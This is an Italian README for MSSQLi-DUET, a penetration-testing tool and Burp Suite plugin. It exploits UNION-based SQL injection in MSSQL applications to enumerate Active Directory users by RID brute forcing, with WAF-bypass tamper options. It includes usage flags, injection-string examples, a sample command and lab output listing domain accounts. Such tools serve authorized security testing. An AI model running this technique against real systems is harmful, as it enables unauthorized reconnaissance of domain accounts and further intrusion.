
Script di SQL injection per MSSQL che estrae gli utenti del dominio da un ambiente Active Directory basato su RID bruteforcing
Script di SQL injection per MSSQL che estrae gli utenti del dominio da un ambiente Active Directory tramite brute forcing RID. Supporta varie forme di tecniche di bypass WAF attraverso l'implementazione di funzioni tamper di SQLmap. Ulteriori funzioni tamper possono essere incorporate dall'utente a seconda della situazione e dell'ambiente.
Disponibile in due versioni: un script Python diretto per l'uso da terminale, o un plugin Burp Suite per una semplice navigazione tramite GUI.
Attualmente supporta solo injection basate su UNION. Sono necessari più campioni e casi di test per testare completamente la funzionalità e l'accuratezza dello strumento. Feedback e commenti sono benvenuti se si incontra una situazione in cui non funziona.
Anche la personalizzazione dello script e del plugin in base alle proprie esigenze non dovrebbe essere troppo difficile. Assicurati di leggere la sezione Note per alcune soluzioni ai problemi.
Dopo aver caricato il plugin in Burp Suite, fai clic con il tasto destro su una richiesta e inviala a MSSQLi-DUET. Maggiori dettagli sui parametri e simili sono descritti di seguito.
La richiesta verrà inserita nella finestra delle richieste e solo i campi sopra di essa devono essere compilati. Dopo aver premuto Esegui, l'output verrà inserito nella casella dei risultati per un facile copia e incolla.
python3 mssqli-duet.py -h
usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid
RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]
[-o OUTFILE] -r REQUEST_FILE
MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool
optional arguments:
-h, --help show this help message and exit
-i INJECTION, --injection INJECTION
Injection point. Provide only the data needed to
escape the query.
-e ENCODING, --encoding ENCODING
Type of encoding: unicode, doubleencode, unmagicquotes
-t TIME_DELAY, --time_delay TIME_DELAY
Time delay for requests.
-rid RID_RANGE, --rid_range RID_RANGE
Hypenated range of RIDs to bruteforce. Ex: 1000-1200
-ssl SSL, --ssl SSL Add flag for HTTPS
-p PARAMETER, --parameter PARAMETER
Vulnerable parameter
-proxy PROXY, --proxy PROXY
Proxy connection string. Ex: 127.0.0.1:8080
-o OUTFILE, --outfile OUTFILE
Outfile for username enumeration results.
-r REQUEST_FILE, --request_file REQUEST_FILE
Raw request file saved from Burp
Prepare to be enumerated!
Dopo aver identificato una SQL injection basata su UNION in un'applicazione, copia la richiesta grezza da Burp Suite utilizzando la funzione 'copy to file'.
Passa la richiesta salvata a DUET con il flag -r. Specifica il parametro vulnerabile e il punto di injection. Ad esempio, se il parametro "element" è suscettibile a SQL injection, -p sarà "element". DUET costruirà automaticamente tutte le query di SQL injection, ma è necessario specificare l'injection iniziale. Cioè, se l'injection avviene a causa di un singolo apostrofo dopo i dati del parametro, questo è ciò che verrà specificato per l'argomento -i.
Es: test'
test'))
test")"
python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080
[+] Collected request data:
Target URL = http://192.168.11.22/search2.php?element=carbon
Method = GET
Content-Type = applcation/x-www-form-urlencoded
[+] Determining the number of columns in the table...
[!] Number of columns is 3
[+] Determining column type...
[!] Column type is null
[+] Discovering domain name...
[+] Domain = NEUTRINO
[+] Discovering domain SID...
S-1-5-21-4142252318-1896537706-4233180933-
[+] Enumerating Active Directory via SIDs...
NEUTRINO\HYDROGENDC01$
NEUTRINO\DnsAdmins
NEUTRINO\DnsUpdateProxy
NEUTRINO\HELIUM$
NEUTRINO\BORON$
NEUTRINO\BERYLLIUM$
NEUTRINO\aeinstein
NEUTRINO\bbobberson
NEUTRINO\csagan
NEUTRINO\ccheese
NEUTRINO\svc_web
NEUTRINO\svc_sql
Lo script potrebbe necessitare di modifiche a seconda del casting e delle limitazioni dei tipi delle colonne scoperte.
Ciò include modifiche per cambiare la posizione della colonna del payload, e anche modificare le stringhe delle query stesse per tenere conto dei tipi di colonna che non generano errori.
Inoltre, la logica per determinare il numero di colonne non è al momento la migliore, e alcuni confronti potrebbero dover essere commentati per garantire una corretta determinazione.
In generale, dai un'occhiata alle richieste inviate in Burp e adatta lo script all'ambiente di SQL injection in cui ti trovi.
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/